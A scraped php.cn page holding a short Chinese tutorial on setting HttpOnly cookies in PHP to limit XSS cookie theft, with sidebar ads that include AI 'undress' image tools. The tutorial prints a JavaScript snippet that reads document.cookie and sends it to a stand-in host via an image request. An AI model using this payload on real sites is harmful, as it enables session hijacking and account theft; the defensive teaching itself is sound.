Maison développement back-end tutoriel php xss防御之php利用httponly防xss攻击_php实例

xss防御之php利用httponly防xss攻击_php实例

Jun 07, 2016 pm 05:21 PM
httponly xss攻击

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

复制代码 代码如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly

复制代码 代码如下:

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

复制代码 代码如下:

header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment se protéger contre les attaques de cross-site scripting (XSS) à l'aide de PHP Comment se protéger contre les attaques de cross-site scripting (XSS) à l'aide de PHP Jun 29, 2023 am 10:46 AM

Comment utiliser PHP pour défendre les attaques Cross-Site Scripting (XSS) Avec le développement rapide d'Internet, les attaques Cross-SiteScripting (XSS) sont l'une des menaces de sécurité réseau les plus courantes. Les attaques XSS visent principalement à obtenir des informations sensibles sur les utilisateurs et à voler des comptes d'utilisateurs en injectant des scripts malveillants dans des pages Web. Pour protéger la sécurité des données des utilisateurs, les développeurs doivent prendre les mesures appropriées pour se défendre contre les attaques XSS. Cet article présentera quelques techniques PHP couramment utilisées pour se défendre contre les attaques XSS.

Comment fonctionnent les vulnérabilités XSS ? Comment fonctionnent les vulnérabilités XSS ? Feb 19, 2024 pm 07:31 PM

Quel est le principe de l'attaque XSS ? Des exemples de codes spécifiques sont nécessaires Avec la popularité et le développement d'Internet, la sécurité des applications Web est progressivement devenue le centre d'attention. Parmi eux, Cross-SiteScripting (XSS en abrégé) est une vulnérabilité de sécurité courante à laquelle les développeurs Web doivent prêter attention. Les attaques XSS sont effectuées en injectant du code de script malveillant dans une page Web et en l'exécutant dans le navigateur de l'utilisateur. Cela permet à l'attaquant de contrôler le navigateur de l'utilisateur et d'obtenir les informations sensibles de l'utilisateur.

Comment Codeql analyse le problème des cookies n'activant pas httponly Comment Codeql analyse le problème des cookies n'activant pas httponly May 17, 2023 pm 05:25 PM

Préface Aujourd'hui, nous utilisons codeql pour analyser les problèmes de sécurité tels que "le cookie n'est pas activé http uniquement", approfondissant ainsi notre utilisation de codeql. Si la réponse est bonne, vous pouvez envisager d'explorer d'autres vulnérabilités dans Vulnerability-goapp. Lors de l'analyse des programmes Go, vous devez en outre télécharger l'objet d'audit de description codeql-go Vulnerability-goapp : VulnerablegolangWebapplicationforeducation. Modification : étant donné que tous les cookies de ce projet ne sont pas définis sur http uniquement, il n'y a pas de comparaison, nous devons donc d'abord le modifier. dans certains cookies

Comment définir le cookie HttpOnly en Java ? Comment définir le cookie HttpOnly en Java ? Apr 22, 2023 pm 06:37 PM

Httponlycookie est une solution de sécurité des cookies. Dans les navigateurs prenant en charge httponlycookie (IE6+, FF3.0+), si l'attribut « httponly » est défini dans le cookie, le script JavaScript ne pourra pas lire les informations du cookie, ce qui peut empêcher efficacement les attaques XSS et rendre les applications de sites Web plus efficaces. sécurisé. Cependant, les cookies J2EE4 et J2EE5 ne fournissent pas de méthode pour définir l'attribut httponly, donc si vous devez définir l'attribut httponly, vous devez le gérer vous-même. importjavax.servlet.http.Cookie; importjavax.serv

Filtrage des données PHP : prévenir les attaques XSS et CSRF Filtrage des données PHP : prévenir les attaques XSS et CSRF Jul 29, 2023 pm 03:33 PM

Filtrage des données PHP : prévention des attaques XSS et CSRF Avec le développement d'Internet, la sécurité des réseaux est devenue l'un des centres d'attention des gens. Lors du développement de sites Web, il est très important de filtrer et de vérifier les données soumises par les utilisateurs, en particulier pour prévenir les attaques XSS (cross-site scripting attaques) et CSRF (cross-site request forgery attaques). Cet article explique comment utiliser PHP pour éviter ces deux vulnérabilités de sécurité courantes et fournit un exemple de code pour référence. Prévention des attaques XSS Les attaques XSS font référence à des attaquants malveillants qui injectent des scripts ou des codes malveillants pour les falsifier.

Prévention des attaques par cross-site scripting (XSS) dans Go : bonnes pratiques et conseils Prévention des attaques par cross-site scripting (XSS) dans Go : bonnes pratiques et conseils Jun 17, 2023 pm 12:46 PM

Avec le développement rapide d’Internet, les problèmes de sécurité des sites Web sont devenus un problème majeur dans le monde en ligne. L'attaque de script intersite (XSS) est une vulnérabilité de sécurité courante qui exploite les faiblesses des sites Web pour injecter des scripts malveillants dans les pages Web afin de voler et de falsifier les informations des utilisateurs. En tant que langage de programmation efficace et sûr, le langage Go nous fournit des outils et techniques puissants pour prévenir les attaques XSS. Cet article présentera quelques bonnes pratiques et techniques pour aider les développeurs du langage Go à prévenir et à résoudre efficacement les attaques XSS. pour toutes les entrées

Problèmes courants de sécurité réseau et solutions dans le développement Java Problèmes courants de sécurité réseau et solutions dans le développement Java Oct 09, 2023 pm 06:36 PM

Résumé des problèmes courants de sécurité réseau et des solutions dans le développement Java : Avec la popularisation d'Internet, les problèmes de sécurité réseau sont devenus de plus en plus importants. Lors du développement Java, nous devons réfléchir à la manière de protéger la sécurité des communications réseau. Cet article présentera certains problèmes courants de sécurité réseau et fournira les solutions correspondantes et des exemples de code. 1. Attaque de script intersite (XSS) L'attaque XSS fait référence à une méthode d'attaque qui obtient des informations sensibles sur l'utilisateur en injectant des scripts malveillants dans des pages Web. Pour éviter les attaques XSS, nous pouvons utiliser une vérification régulière des entrées

Comment éviter les injections SQL et les attaques XSS dans le développement du langage PHP ? Comment éviter les injections SQL et les attaques XSS dans le développement du langage PHP ? Jun 09, 2023 pm 06:27 PM

À mesure qu’Internet est de plus en plus utilisé, les problèmes de sécurité deviennent de plus en plus visibles. Dans le développement PHP, l'injection SQL et les attaques XSS sont les deux problèmes de sécurité les plus courants. Cet article explique comment éviter les deux attaques. 1. Qu'est-ce que l'injection SQL ? L'injection SQL fait référence à un attaquant exploitant les vulnérabilités d'une application Web pour faire fonctionner le serveur de base de données d'une manière au-delà de l'intention de conception initiale en saisissant des instructions SQL. Les attaquants peuvent utiliser ces vulnérabilités pour effectuer des opérations malveillantes, telles que lire et écrire des données, obtenir des privilèges d'administrateur, etc. 2. Comment éviter

See all articles